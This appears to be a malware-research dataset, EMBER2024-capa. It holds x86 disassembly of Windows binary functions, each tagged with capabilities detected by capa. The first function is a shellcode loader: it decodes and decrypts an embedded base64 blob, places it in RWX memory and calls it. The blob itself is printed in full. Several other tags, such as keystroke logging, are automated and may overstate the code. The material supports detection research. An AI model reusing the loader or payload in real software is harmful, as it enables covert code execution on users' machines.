joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40149c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x438
call sym.___main
call sym._GetTickCount_0
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov edx, 0
mov dword [ebp - 0x438], eax
mov dword [ebp - 0x434], edx
fild qword [ebp - 0x438]
fstp qword [ebp - 0x430]
fld qword [ebp - 0x430]
fld qword [0x406320]
fdivp st(1)
fstp qword [ebp - 0x28]
fld qword [ebp - 0x28]
fld qword [0x406328]
fxch st(1)
fucompp
fnstsw ax
sahf
jbe 0x4015c2
mov byte [ebp - 0x29], 0xf
mov dword [ebp - 0x30], str.t9Yt0CbWw9Z7K_tRJsadD5JHAxJHIzJ0s8lnFamNDS0cBW_EHvMH5nKh1xxPX3NZbaVGfvqWvIqqGH6pqvxKtTrohQXisgoqNphAWZTgKTB6mYH5DlVZ36g4Un10fJVt4IyJRTJdbjaPGIpzbqi2ouAfXKmsqzHNIu9EjoKnnmN9iNx1isaZTz9u9gemuJyfcaquf646wPqxMjGsxGE7O3Ibgi4LU2rwFANY5K62xsOTRdOciA23XXSp5W5HgSkiYyAwUM2QGkphuR29KwdgsO1yY7f1_cJabclVWWSo5QaKp_xVmPI9jcBynSWJu5wi5vW79nQg1_AR8EoXHjxzytJo6pIRZMTpvNA0ISgoH_DnIvF2jA4ZN3j3MXJujJVSddhvqR80QmRzQXo6_pq7vRXFKLEH5MjRiQuhXH8jLzm6iwVddb8_YYurYIn8RfgTdX3yERyoHRTLpA8oZTb3cFh1RQxLe4aFudy1Jv6Hh_ZTWbl92y3AZntsKhHBsJngqjqirl4aqqVtwRktQCdncTpvoz0CVwPWEsM4n4rB8GBX5OH1IbZivYkwgOWLDP7OyHdnHovyJ_ymKAvSB7IvKYWzP2DNYGd004nUfEEmFSJBCqQzUkZtOZpsBLoV1lxyHvMfsQtn30Ij7IcV4m4J1APox5TJzINnRkyJAA
lea edx, [ebp - 0x41c]
mov eax, 0
mov ecx, 0xfa
mov edi, edx
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
lea eax, [ebp - 0x41c]
mov dword [esp], eax
call sym._Base64decode
movzx eax, byte [ebp - 0x29]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x3e8
lea eax, [ebp - 0x41c]
mov dword [esp], eax
call sym._encrypt
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], 0x3e8
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov edx, eax
lea eax, [ebp - 0x41c]
mov ecx, 0x3e8
mov ebx, dword [eax]
mov dword [edx], ebx
mov ebx, dword [eax + ecx - 4]
mov dword [edx + ecx - 4], ebx
lea ebx, [edx + 4]
and ebx, 0xfffffffc
sub edx, ebx
sub eax, edx
add ecx, edx
and ecx, 0xfffffffc
shr ecx, 2
mov edx, ecx
mov edi, ebx
mov esi, eax
mov ecx, edx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x34]
call eax
jmp 0x4015ce
mov dword [esp], 0
call sym._exit
mov eax, 0
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
Function at 0x402040
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x408044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40803c]
sub esp, 4
test ebx, ebx
je 0x40208b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x402084
test esi, esi
je 0x402084
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402060
mov dword [esp], 0x408044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402270
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x4022c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402398
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x4022fe
cmp eax, 4
jne 0x402320
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40230e
cmp edx, 4
je 0x40230e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402270
Function at 0x10001440
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0x8b13
mov eax, dword [ebp - 4]
add eax, dword [ebp - 4]
imul eax, dword [ebp - 4]
mov dword [ebp - 4], eax
push 0x40
push 0x3000
mov ecx, dword [ebp + 8]
add ecx, 0x14
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esp, ebp
pop ebp
ret
Function at 0x1000e153
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x10041b48
cmp edx, dword [eax]
je 0x1000e175
add eax, 8
inc ecx
cmp eax, 0x10041bd8
jl 0x1000e166
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x10041b48]
jne 0x1000e2a3
mov eax, dword [0x100480ec]
cmp eax, 1
je 0x1000e27d
test eax, eax
jne 0x1000e1a6
cmp dword [0x100480f0], 1
je 0x1000e27d
cmp edx, 0xfc
je 0x1000e2a3
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1000e1dd
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.1000ed70
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.1000f1a0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x1000e220
lea eax, [ebp - 0x1a4]
push eax
call fcn.1000f1a0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x1001966c
push edi
call fcn.10011c50
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.1000ed70
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.1000ed80
lea eax, [ebp - 0xa0]
push 0x1001964c
push eax
call fcn.1000ed80
push dword [esi + 0x10041b4c]
lea eax, [ebp - 0xa0]
push eax
call fcn.1000ed80
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.10011bc5
add esp, 0x2c
pop edi
jmp 0x1000e2a3
lea eax, [ebp + 8]
lea esi, [esi + 0x10041b4c]
push 0
push eax
push dword [esi]
call fcn.1000f1a0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x403508
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x558020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4035a0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x403580
xor eax, eax
push ebp
push 0x403579
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4035bc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403580
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
mov ax, word [0x558020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x558020], ax
mov esp, ebp
pop ebp
ret

Function at 0x4042e4
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x55d04c], 0
je 0x404345
cmp word [0x55d220], 0xd7b2
jne 0x40430d
cmp dword [0x55d228], 0
jbe 0x40430d
mov eax, 0x55d21c
call dword [0x55d238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x55806c
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle_1
push eax
call sub.KERNEL32.DLL_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40436c
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle_1
push eax
call sub.KERNEL32.DLL_WriteFile_1
pop edx
ret
cmp byte [0x558030], 0
jne 0x404361
push 0
push 0x558064
push 0x55806c
push 0
call sub.user32.dll_MessageBoxA_1
pop edx
ret

Function at 0x4044a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.00402b24
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x55d04d], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x404468
push eax
push esi
push ebx
call sub.KERNEL32.DLL_CreateThread_1
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x40684c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x4068b2
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA_1
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.0040475c
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.004030a0
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x40689c
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4068b9
lea eax, [ebp - 0x10]
call fcn.004044ec
ret

Function at 0x40cb98
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
jle 0x40cbd1
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004045dc
jmp 0x40cbda
mov eax, ebx
mov edx, esi
call fcn.00404540
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40cbe4
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
jle 0x40cc05
mov al, byte [esp]
jmp 0x40cc07
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40dc34
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40dd0a
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00404584
lea eax, [ebp - 8]
call fcn.004049fc
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.004049ac
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40dcf4
mov eax, ebx
call fcn.00402b24
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40dced
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.004049ac
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40dcd7
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40dd1c
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40dcd7
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40dcf4
mov eax, dword [ebp - 0x10]
call fcn.00402b54
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40dd11
lea eax, [ebp - 8]
call fcn.004044ec
ret
Function at 0x40e3b4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40e418
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.0040475c
mov eax, dword [ebp - 0xc]
push eax
call sub.KERNEL32.DLL_GetACP
mov edx, eax
pop eax
call fcn.00409410
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e41f
lea eax, [ebp - 0xc]
call fcn.004044ec
ret

Function at 0x40ec10
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov eax, dword [0x55b920]
cmp dword [eax], 0
je 0x40ec46
push 0xa
push 0x40ec9c
mov eax, dword [0x55b920]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_FindResourceA
push eax
mov eax, dword [0x55b920]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_LoadResource
mov dword [esp], eax
jmp 0x40ec92
xor eax, eax
mov dword [esp], eax
mov eax, dword [0x55becc]
mov eax, dword [eax]
mov dword [esp + 4], eax
cmp dword [esp + 4], 0
je 0x40ec92
mov ebx, dword [esp + 4]
push 0xa
push 0x40ec9c
mov esi, dword [ebx + 4]
push esi
call sub.KERNEL32.DLL_FindResourceA
push eax
push esi
call sub.KERNEL32.DLL_LoadResource
mov dword [esp], eax
cmp dword [esp], 0
jne 0x40ec92
mov eax, dword [esp + 4]
mov eax, dword [eax]
mov dword [esp + 4], eax
cmp dword [esp + 4], 0
jne 0x40ec5d
mov eax, dword [esp]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x4264b4
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov al, byte [eax + 0xe]
mov byte [ebp - 5], al
xor eax, eax
push ebp
push 0x426501
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov byte [eax + 0xe], 1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.KERNEL32.DLL_SuspendThread
test eax, eax
setge dl
mov eax, dword [ebp - 4]
call fcn.004262e0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x426519
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret

Function at 0x426520
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, dword [ebx + 4]
push eax
call sub.KERNEL32.DLL_ResumeThread
mov esi, eax
test esi, esi
setge dl
mov eax, ebx
call fcn.004262e0
dec esi
jne 0x426542
mov byte [ebx + 0xe], 0
pop esi
pop ebx
ret
Function at 0x42769c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
lea ebx, [ebp - 0xc]
mov esi, 0x55d88c
cmp dword [esi], 0
jne 0x427742
push 0x40
push 0x1000
push 0x1000
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov edx, dword [0x55d888]
mov dword [eax], edx
mov eax, dword [ebp - 8]
lea edx, [eax + 4]
mov eax, 0x5585f0
mov ecx, 2
call fcn.00402d44
mov edx, 0x427674
mov eax, dword [ebp - 8]
add eax, 5
call fcn.00427694
mov edx, dword [ebp - 8]
mov dword [edx + 6], eax
mov eax, dword [ebp - 8]
add eax, 0xa
mov dword [ebx], eax
mov eax, dword [ebx]
mov byte [eax], 0xe8
mov eax, dword [ebp - 8]
lea edx, [eax + 4]
mov eax, dword [ebx]
call fcn.00427694
mov edx, dword [ebx]
mov dword [edx + 1], eax
mov eax, dword [ebx]
mov edx, dword [esi]
mov dword [eax + 5], edx
mov eax, dword [ebx]
mov dword [esi], eax
add dword [ebx], 0xd
mov eax, dword [ebx]
sub eax, dword [ebp - 8]
cmp eax, 0xffc
jl 0x427709
mov eax, dword [ebp - 8]
mov dword [0x55d888], eax
mov eax, dword [esi]
mov dword [ebp - 4], eax
mov eax, dword [esi]
mov dword [ebx], eax
mov eax, dword [ebx]
mov eax, dword [eax + 5]
mov dword [esi], eax
mov eax, dword [ebx]
mov edx, dword [ebp + 8]
mov dword [eax + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [eax + 9], edx
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x428e38
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x428e3e
ret

Function at 0x42b6f8
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.KERNEL32.DLL_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x42b749
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x42b730
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x42b720
jmp 0x42b749
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x42b731
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4459cc
Capabilities:
Enumerate gui resources

Disassembly:
mov byte [eax + 0xc], 0
mov byte [eax + 0xd], 0
xor edx, edx
mov dword [eax + 4], edx
push eax
push 0x445918
call sub.user32.dll_EnumWindows
ret

Function at 0x445aec
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x445b69
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.0044554c
call sub.KERNEL32.DLL_GetTickCount
mov ebx, eax
push 0
call sub.KERNEL32.DLL_Sleep_1
call sub.KERNEL32.DLL_GetTickCount
sub eax, ebx
cmp eax, 0x3e8
jbe 0x445b11
lea ecx, [ebp - 4]
xor edx, edx
mov eax, esi
call fcn.0044514c
cmp dword [ebp - 4], 0
je 0x445b53
push 0
push 9
mov eax, dword [ebp - 4]
call fcn.004049ac
push eax
mov eax, dword [esi + 0x1c]
mov edx, dword [eax]
call dword [edx + 0xc]
push eax
call sub.user32.dll_WinHelpA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x445b70
lea eax, [ebp - 4]
call fcn.004044ec
ret

Function at 0x4491cc
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 9]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [0x55daf8], 0
je 0x44931b
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
mov edx, dword [0x55bce4]
mov edx, dword [edx]
xor al, byte [edx + 0xb4]
je 0x44931b
mov eax, dword [0x55dafc]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x55daf8]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x4492ea
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [0x55daf8]
call fcn.0041d528
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x4492e2
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x1a6], 0
je 0x4492e2
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x4492e2
mov eax, dword [ebp - 0x14]
call fcn.00451ee8
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4492e2
push ebp
call fcn.00449188
pop ecx
test al, al
jne 0x4492e2
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xa0]
cmp eax, dword [ebp - 0x14]
jne 0x44929e
mov eax, dword [ebp - 0x14]
call fcn.004509e0
dec eax
jle 0x4492e2
mov byte [ebp - 1], 1
lea eax, [ebp - 9]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbd
call fcn.004038a4
cmp byte [ebp - 1], 0
je 0x4492e2
push dword [ebp - 5]
push dword [ebp - 9]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x4492e2
mov edx, dword [ebp - 0x14]
mov eax, dword [0x55dafc]
call fcn.00448954
inc edi
dec ebx
jne 0x449231
mov eax, dword [0x55dafc]
cmp dword [eax + 8], 0
jle 0x449302
mov eax, dword [0x55dafc]
call fcn.004489e4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x44931b
push ebp
mov eax, dword [ebp - 0x18]
call fcn.00448ff0
pop ecx
test al, al
jne 0x44931b
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x44c934
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
test byte [esi + 0x1c], 0x10
je 0x44c980
mov eax, esi
call fcn.00462978
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x44c980
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x250], 0
je 0x44c980
mov ecx, ebx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x250]
mov edx, esi
mov edi, dword [eax]
call dword [edi + 0x24]
test al, al
jne 0x44cabf
mov eax, dword [ebx]
cmp eax, 0x100
jb 0x44c9c0
cmp eax, 0x108
ja 0x44c9c0
mov eax, esi
call fcn.00462978
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x44cab6
mov ecx, ebx
mov edx, esi
mov eax, dword [ebp - 0x14]
mov edi, dword [eax]
call dword [edi + 0xf0]
test al, al
jne 0x44cabf
jmp 0x44cab6
mov eax, dword [ebx]
cmp eax, 0x200
jb 0x44ca9f
cmp eax, 0x20a
ja 0x44ca9f
test byte [esi + 0x50], 0x80
jne 0x44c9f2
sub eax, 0x203
je 0x44c9ef
sub eax, 3
je 0x44c9ef
sub eax, 3
jne 0x44c9f2
sub dword [ebx], 2
mov eax, dword [ebx]
sub eax, 0x200
je 0x44ca06
dec eax
je 0x44ca1b
dec eax
je 0x44ca38
dec eax
je 0x44ca1b
jmp 0x44ca3f
mov ecx, ebx
mov eax, dword [0x55bce4]
mov eax, dword [eax]
mov edx, esi
call fcn.0046c2e8
jmp 0x44cab6
cmp byte [esi + 0x5d], 1
jne 0x44ca31
mov eax, esi
mov si, 0xffed
call fcn.004038a4
jmp 0x44cabf
or word [esi + 0x54], 1
jmp 0x44cab6
and word [esi + 0x54], 0xfffe
jmp 0x44cab6
mov eax, dword [0x55dab4]
cmp byte [eax + 0x20], 0
je 0x44cab6
mov eax, dword [0x55dab4]
cmp dword [eax + 0x1c], 0
je 0x44cab6
mov eax, dword [ebx]
mov edx, dword [0x55dab4]
cmp eax, dword [edx + 0x1c]
jne 0x44cab6
lea eax, [ebp - 0x114]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [ebx]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
call fcn.0046289c
mov byte [ebp - 0xc], al
mov ax, word [ebx + 4]
mov word [ebp - 0xa], ax
mov eax, dword [ebx + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, esi
mov si, 0xffc9
call fcn.004038a4
jmp 0x44cabf
cmp eax, 0xb00b
jne 0x44cab6
mov edx, dword [ebx + 8]
push edx
mov ecx, dword [ebx + 4]
mov edx, eax
mov eax, esi
call fcn.0044b230
mov edx, ebx
mov eax, esi
mov ecx, dword [eax]
call dword [ecx - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret